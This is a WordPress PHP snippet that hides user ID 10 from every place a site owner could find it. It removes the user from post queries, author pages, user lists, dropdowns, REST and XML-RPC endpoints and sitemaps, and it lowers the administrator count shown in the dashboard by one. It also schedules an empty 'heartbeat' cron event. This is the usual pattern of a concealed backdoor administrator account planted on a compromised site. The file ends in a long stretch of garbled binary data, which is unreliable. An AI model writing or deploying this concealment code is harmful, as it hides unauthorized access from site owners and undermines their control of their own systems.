add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 10;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 10 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 10 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 10;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 10;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 10;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/10(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 10;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
‹ í½ërÛº²0ø{¥j¿¶R{ÅÞK”(Éò-±×¶Çqâ$ŽíıW2þ@’hñ¶R²ìã©y�©šªo~œg8¿ÎÔTÍz“y�y…éHŠºÙº9·M®•D�F£ÑÝh4À³¿®tz†ÿ‹:õ�œÁr˜À¨±ùè—g6(ÑÔç,ØÈ}8y¡¬æ’t‡Úl#×2YÛsý Gt× ˜ùÚ¦46Ö2u¦ˆ—<130©¥p�Zl£$ X¦Ó$>³6ržïÖL‹åHÃgµ�\#<¾^,Öm¯^pýzñªæK¥¾ªŸø®æüIRñÓ1ØUžÔ\ËrÛybÓ+Å´i�)žÏÏu‹úu&?pÇô<¬+%ùÞ2
æ&•ÒRÜ|õý]QÈIÃä„›#ð¯ë¦m^3ƒ´Í A‚#g.å9Þ}G<+¬›i•WËD!qC:˜¡ »vZj„z SU¶]߀j9/EÁf`±Í“ëÈ�xJê>£¶”‡6ó »ò˜o2G‡oŽß-7 n�Ô�0zÌÒs¸„Ófé
Ó©“Zèü�üÙ²,f:L9b&gâõ¬(kíé�:®cB‡õ÷�ÊûIù"�¡£Dè*Tè*1ºJ]ЅâÖ�®¡«®‚è*1º
[Ìa?DÝðNÐÙȹõuËEVJ±�Á.žïŽÌŽüžÊLýÀÔ±ø¨ìHŽTþ¯Û#Ñ2×}8ÐuRÈí׈ëêì¸!iSP³(ç¦N8`ÂA$LËæñä uä9й¤zÓ }lmYDc„»P¿ÄJ°ó;®"àžo» l~-´à—oØZÛÕ@ˆAhJÈÎ|h=…´ Í6Z€ˆ#æ
óÏ�‘�1Dˆe6“’ÄaÔGjµ™e)MÇm;„Zˆ*€î6B5Ž=QgNˆ¤3(ç5Ð
ÐDÛ!¡Þì�ÊMÇ%òfÛȵ5ë Â1ßó�â(ÔP,´5(‰-ÔýޏzèûУ…Ú 4ì�_€�é=ý2²BßJõËw%/¨¿.Pq¦—ó"iY÷B o0ãt`PY-/+%UQ—OÔ•õRy]-ý¦ªëªz7<Û5Ìš9¸•»ÀA넞�ômO‰²CÏr©Á‹P_¥¨®é¡¼ 0Œ¹NÁsêwW¾.Fº
ÕûÐ]o0³Þ&*Ò§ÆDb±790Ó0h¸~*/¨ò†j¡à0‹£þè/À€B±®SßH•–´©ß¹ƒçEDèQe-ª1«”*ý”¨¢€´îªä—–¦ÁUÔWN•Ü
Ùøë?ƒkTŒ³kfw×›.]ýþÏ7¦ÂKTFª[‚d’zžº µoÑ2~»˜ M»‘‹t½Álgê5r›7¹ ÈWAn=âÈÏÅÏE™
›\>÷/™wýÈ,:w=·�MðÑ4zJróçÓ$Ÿ‹�i‚ˆÉáå]-·~ó�‘ÊÝæcÖ\„>[`—ñ(÷8îŠÏEÀÊ}.VVʪVÒk«%£T]2jÕZiE¯±Ê’º\V«+kGㆬ÷Á¬hi‡±¾…ºF«X™÷M¤K‡f]I²ÚÔtv0o:ïj‡(ÊßE�¢¼ã†JIU×ò¹x¤ñÇÅï1ˆuÌk!�‚I$ó3]¤¬ÿ‘;‹Ÿç¾ 7;0Ù EëqÆs›ï
ß)ÓY¾µðhL|S"éúʶïäÚæq›ihÞ`·?�ØhÐhC÷ÁHüöó8…Ìí 7ƒð¸8šÁt{+æý.AÑ(9ŸpHP6¾—}¹ý’¿í¤i&¾¹¦I
”˜�híZÌf¨«RtÅô}ø.ÈÌ(è^JdèHp†L*áÜÛ¨4zùá%4×Û; �e&ËñTYWáDJ�H¥€‚ššö®çróî’‘c˜ê�)éf€Ôﺦȶ�0æ®»�ßùÆ
Ð/Àü´/`B¤¾E„`:ìwÓñžª£9ÀGj…ìØc:h+i‚BÕ-L